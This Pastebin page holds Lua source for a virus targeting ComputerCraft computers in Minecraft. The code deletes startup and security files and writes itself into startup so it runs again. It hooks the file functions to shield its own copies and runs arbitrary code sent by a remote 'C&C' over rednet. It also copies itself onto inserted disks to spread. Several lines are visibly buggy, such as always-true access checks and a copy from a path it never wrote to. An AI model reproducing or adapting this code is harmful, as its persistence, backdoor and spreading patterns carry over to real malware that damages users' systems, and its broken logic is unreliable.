Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- os.pullEvent = os.pullEventRaw
- local flareConnect = false
- local flareAttack = false
- local currentModule = ""
- local fso = fs.open
- local fsd = fs.delete
- local fsm = fs.move
- local cf = {".rom", "startup", ".rom/system", ".CC_Security", ".CC_Security/zal.dlt"}
- --[[
- local socket1 = http.get("https://raw.github.com/FlareHAX0R/Computercraft/master/Flare/list")
- if socket1 then
- SA=fso(".CC_Security/zal.dlt", "w")
- SA.write( socket1.readAll() )
- SA.close()
- end
- ]]--
- fsd("startup")
- fsd("list")
- fsd("startup")
- fsd(".rom")
- fsd(".CC_Security")
- fs.makeDir(".rom")
- fs.makeDir(".CC_Security")
- fs.copy( shell.getRunningProgram(), ".rom/system" )
- function fs.open( file, attr ) -- Make sure .system, virus backup files, and startup cannot be opened.
- if file ~= cf[1] or cf [2] or cf[3] or cf [4] or cf[5] then
- fso(file, attr)
- else
- error("Access denied.")
- end
- end
- function fs.delete( file ) -- Make sure .system, virus backup files, and startup cannot be deleted.
- if file ~= cf[1] or cf [2] or cf[3] or cf [4] or cf[5] then
- fsd(file)
- else
- error("Access denied.")
- end
- end
- function fs.move ( sFile, sDestination ) -- Make sure .system, virus backup files, and startup cannot be edited.
- if sFile ~= cf[1] or cf [2] or cf[3] or cf [4] or cf[5] then
- fsm(sFile, sDestination)
- else
- error("Access denied.")
- end
- end
- for _, side in pairs( rs.getSides() ) do
- if peripheral.getType() == "modem" then
- rednet.open(side)
- flareConnect = true
- end
- end
- currentModule = "EUPHORIA"
- local function Euphoria()
- os.pullEvent = os.pullEventRaw
- if term.isColor() then
- term.setTextColor(colors.yellow)
- print(os.version())
- term.setTextColor(colors.white)
- else
- print(os.version())
- end
- while true do
- if term.isColor() then
- term.setTextColor(colors.yellow)
- end
- write("> ")
- if term.isColor() then
- term.setTextColor(colors.white)
- end
- local program = io.read()
- shell.run(program)
- end
- end
- currentModule = "FLARE"
- local function Flare() -- Main attack function, allowing spreading to disks and the FLARE protocol.
- os.pullEvent = os.pullEventRaw
- if flareConnect == true then
- while true do
- local id, mes = rednet.receive()
- local event = os.pullEvent()
- if mes then
- if string.sub(mes, 1, 3) == "FLR" then -- Activate the Flare Protocol to allow REMOTE ADMINISTRATION from C&C Centers.
- mes = string.sub(mes, 4)
- local func, err = loadstring(mes) -- Load the string.
- if err == nil then
- local st, er = pcall(func) -- Stop erroring.
- end
- end
- end
- end
- end
- if event == "disk" then
- fsd("disk/startup")
- fs.copy(".system/system", "disk/startup")
- end
- flareAttack = true
- end
- end
- --[[
- local function Frost()
- while true do
- end
- end
- ]]--
- local function Munch()
- if turtle.dig then
- while true do
- if turtle.detect() == false then
- turtle.dig()
- turtle.forward()
- else
- turtle.turnRight()
- end
- end
- end
- end
- local RI = fso("startup", "w")
- RI.write('shell.run(".system/system")')
- RI.close()
- while true do
- parallel.waitForAny(Flare, Euphoria, Munch)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement